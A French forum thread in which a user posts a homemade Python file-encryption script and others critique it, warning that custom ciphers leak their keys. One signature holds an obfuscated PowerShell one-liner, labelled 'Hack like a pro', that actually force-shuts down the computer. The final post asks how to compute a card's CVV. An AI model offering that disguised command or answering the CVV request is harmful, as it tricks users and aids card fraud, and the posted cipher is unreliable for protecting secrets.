Annonce

Réduire
Aucune annonce.

Petit programme de cryptage

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Petit programme de cryptage

    Bonjour,

    J'ai fait ce petit bout de code pour crypter des fichiers contenant des informations personnelles sur mon pi. Cela me permet de toujours y avoir accès lorsque je rentre en France chez les parents.
    C'est loin d'être un cryptage élaboré mais il marche. Pourriez vous me donner votre avis sur ça.
    Merci.

    Code:
    #!/usr/bin/env python3
    
    import os
    import sys
    
    source  = input("fichier source: ")
    dest = input("fichier cible: ")
    clefstr = input("clef: ")
    
    fs = open(source, "rb")
    contenu = fs.read()
    fs.close()
    
    resultat = b''
    clef = bytes(clefstr,"utf-8")
    
    i = 0
    j = 0
    
    long = len(contenu)
    longclef = len(clef)
    
    
    fd = open(dest,"wb")
    
    while i<long:
    
    
        
        ccont = contenu[i]
        cclef = clef[j]
        flag = 0
    
        if ccont == 0:
            flag = 1
        if ccont == 255:
            flag = 2    
    
        ccont = ccont + cclef
    
    
        if ccont > 255:
            ccont = ccont - 255
        if ccont < 0:
            ccont = ccont + 255
    
    
        
        d = ccont.to_bytes(1,byteorder='big',signed=False)
        fd.write(d)
        if flag == 1:
            ccont = 0
            d = ccont.to_bytes(1,byteorder='big',signed=False)
            fd.write(d)
        if flag == 2:
            ccont = 255
            d = ccont.to_bytes(1,byteorder='big',signed=False)
            fd.write(d)
    
    
        i = i + 1
        j = j + 1
    
        if j == longclef:
            j = 0
    
    fd.close()
    
    fs = open(source, "wb")
    fs.close()
    
    os.remove(source)
    A+

  • #2
    Bonsoir,
    1. À quoi sert la variable resultat ?
    2. Tu t'es appuyé sur quel algo ?
    3. Pourquoi une boucle while ? (Python n'est pas du C)
    4. Tu es sous Mac OS (endianness) ?
    5. À quoi sert byte_order dans ta problématique de cryptage ?

    Commentaire


    • #3
      Bonsoir,

      Merci de t'y intéresser.

      1. à rien, c'est juste un vestige de mes essais
      2. Je ne me suis appuyé sur rien juste une idée perso. En fait c'est parti quand j'étais jeune avec la table de Vigenère (il m'a fallu rechercher le nom). A l'époque j'avais fait un programme en C pour crypter des documents mais je n'étais pas arrivé à crypter des fichiers autres que texte. Là je m'y suis remis (20ans plus tard ) mais là ça marche j'arrive à tout crypter (et à le décrypter).
      3. Bah je sais pas, ça marche et je ne savais pas qu'il y avait mieux sous python
      4. Non, sur Raspbian mais là ça vient de mon PC. Les 2 marchent (sur le pi et sur le PC), je crois que j'ai plus fait attention sur le pi quand même (d'où la variable résultat)
      5. il permet de convertir un entier en octet pour le remettre dans le fichier. En ajoutant, je dépasse 255 donc je soustrais cette valeur mais ça reste un entier (2 octets). Donc pour l’insérer dans le fichier cible, je le retransforme en octet non signé.

      Voilà, j'espère avoir répondu à tes questions.

      Commentaire


      • #4
        L'idée de créer son propre chiffrement est tentante mais risquée, prends bien garde de ne pas avoir une faiblesse dans ton code dont tu ne te rendrais pas compte.
        C'est pour ça que généralement, on pousse à l'utilisation de méthodes connues et reconnues.

        Commentaire


        • #5
          Ça reste bassement terre à terre et sans rapport direct avec ton code mais j'étais obligé de faire le mec relou : Le terme « cryptage » n'est pas reconnu par le dictionnaire de l’Académie française ni par le Référentiel Général de Sécurité de l’ANSSI qui le qualifie d’incorrect. Préférer donc "chiffrement"

          Pour faire simple :
          • Chiffrer : Rentre inintelligible un message en utilisant une clef de chiffrement
          • Déchiffrer : rendre intelligible un message chiffré en utilisant la clef de déchiffrement
          • Décrypter : rendre intelligible un message chiffré en cassant la clef de déchiffrement
          Hack like a pro :
          PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

          Commentaire


          • #6
            Bonjour,

            ah ben zut j'étais persuadé d'avoir déjà répondu. J'ai du me louper quelque part.
            Pas grave, je recommence :

            Bien que cela me paraisse très compliqué à cracker, j'en suis conscient, Anonyme77. C'est pour ça que je m'en remet à vous pour savoir s'il y a des failles dans mon bazar.
            Je n'ai pas de grandes prétentions mais si cela pouvait servir à cacher un code bancaire ou autre de mes échanges avec mes proches se serait déjà pas mal.

            Promis Krisscool, je ne crypterai plus, je chiffrerai.

            A+

            Commentaire


            • #7
              Justement si tu veux cacher des coordonnées bancaires ou des infos sensibles avec tes proches ne le fait pas avec un algo perso. C'est prendre trop de risques.

              Je dois avouer que je n'ai pas encore énormément regardé à ton code mais des vulnérabilités doivent exister. Il existe beaucoup d'attaques différentes sur le chiffrement et tu devrais te prémunir de toutes. Sans douter de tes capacités, je doute que ton code soit parré contre toutes les éventualités.

              Certaines vulnérabilités sur du chiffrement n'ont parfois été trouvées que par des algos. Les hommes en eux même n'y étant pas parvenu.

              J'y jetterai quand même un coup d'oeil plus approfondi quand j'aurai un peu plus de temps devant moi.

              Commentaire


              • #8
                C'est super !!!

                Merci

                Commentaire


                • #9
                  Si le fichier contient des nullbytes la clé est fichue avec ton algorithme...
                  [EDIT] Avec n’importe quelle chaine qui se répète et qui est prévisible en fait.
                  Mais c'est sympa de voir des gens faire des algo perso

                  Commentaire


                  • #10
                    Salut Geluchat,

                    Merci pour ton retour.

                    Je crois comprendre ce que tu veux dire,

                    En fait, si j'ai plusieurs fois le même caractère, on peut en déduire facilement la clef, c'est ça?

                    Mais avec mon algorithme, je peux utiliser plusieurs clefs, voire même utiliser un fichier de 500ko comme clef., du coup, cela réglerait-il le problème?

                    Merci

                    Commentaire


                    • #11
                      Ça ne règlera pas le problème tant que tu ne combines pas les blocs entre eux (dans le cas d'un chiffrement par blocs).
                      La taille de la clef ne changera rien. Dans le chiffrement, elle ne fait pas tout.

                      Commentaire


                      • #12
                        Faire des blocs,...

                        OK, j'ai compris ce que tu voulais dire.

                        Je vais réfléchir à comment je vais mettre ça en oeuvre.

                        Merci

                        Commentaire


                        • #13
                          A part cela, quelqu'un ici connait l'algo utiliser pour calculer le cvv d'un numéro?

                          Commentaire

                          Chargement...
                          X